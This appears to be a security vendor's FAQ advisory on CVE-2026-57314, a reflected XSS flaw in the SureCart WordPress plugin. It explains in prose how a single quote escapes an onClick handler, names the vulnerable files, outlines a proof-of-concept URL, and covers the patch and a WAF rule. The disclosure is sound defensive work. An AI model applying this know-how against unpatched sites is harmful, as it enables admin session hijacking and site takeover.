* Author: SureCartFrequently Asked Questions
What is CVE-2026-57314?
Vulnerability overviewCVE-2026-57314 is a reflected cross-site scripting vulnerability in the SureCart plugin for WordPress, versions up to and including 4.3.2. It allows unauthenticated attackers to inject arbitrary web scripts that execute when a victim clicks a crafted link.
How does the vulnerability work?
Technical mechanismThe vulnerability exists in the admin list tables for auto fees and upsell funnels. The toggle URL is constructed with user-controllable parameters and output into an onClick handler using esc_url_raw, which does not encode HTML entities like single quotes. An attacker can break out of the JavaScript string context by including a single quote in the URL parameter.
Which versions of SureCart are affected?
Affected versionsAll versions of SureCart up to and including 4.3.2 are affected. Version 4.3.3 contains the fix.
How can I check if my site is vulnerable?
Verification stepsCheck the SureCart plugin version in your WordPress admin under Plugins. If the version is 4.3.2 or lower, your site is vulnerable. You can also look for the vulnerable files in surecart/app/src/Controllers/Admin/AutoFees/AutoFeesListTable.php and surecart/app/src/Controllers/Admin/Upsells/UpsellsListTable.php.
What is the CVSS score and severity?
Risk assessmentThe vulnerability has a CVSS score of 6.1, classified as Medium severity. This reflects the need for user interaction and the potential for significant impact if exploited.
What does reflected XSS mean in practice?
Practical impactReflected XSS means the malicious script is delivered via a crafted link and only executes when the victim clicks it. An attacker must trick an authenticated admin into clicking the link, but no additional privileges are required to trigger the payload.
What can an attacker achieve by exploiting this?
Potential consequencesAn attacker can execute arbitrary JavaScript in the admin’s browser session, potentially leading to session hijacking, creating new admin users, modifying settings, stealing sensitive data like API keys, or defacing the site.
How is the vulnerability fixed?
Patch detailsThe patch replaces esc_url_raw with esc_url in both vulnerable files. esc_url encodes HTML entities such as single quotes, preventing JavaScript injection. The patch also adds a fallback URL parameter to ensure the toggle URL is always well-formed.
How do I update to the patched version?
Update instructionsUpdate the SureCart plugin to version 4.3.3 or later from your WordPress admin dashboard under Plugins. Alternatively, download the latest version from the WordPress plugin repository and install it manually.
Is there a temporary mitigation if I cannot update?
Workaround optionsIf you cannot update immediately, consider restricting access to the admin pages for auto fees and upsell funnels using a security plugin or web application firewall. However, updating is the recommended and most effective solution.
How does the proof of concept demonstrate the issue?
PoC explanationThe proof of concept constructs a malicious URL that appends a payload parameter with a single quote and JavaScript code to the admin page. When an authenticated admin visits the page, the injected script executes in the browser context, demonstrating the reflected XSS.
What ModSecurity rule can detect this attack?
WAF rule exampleA ModSecurity rule can block requests to /wp-admin/admin.php with page parameters sc-auto-fees or sc-upsell-funnels that contain a single quote in any GET or POST parameter. The rule should decode URL encoding and perform lowercase matching.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations
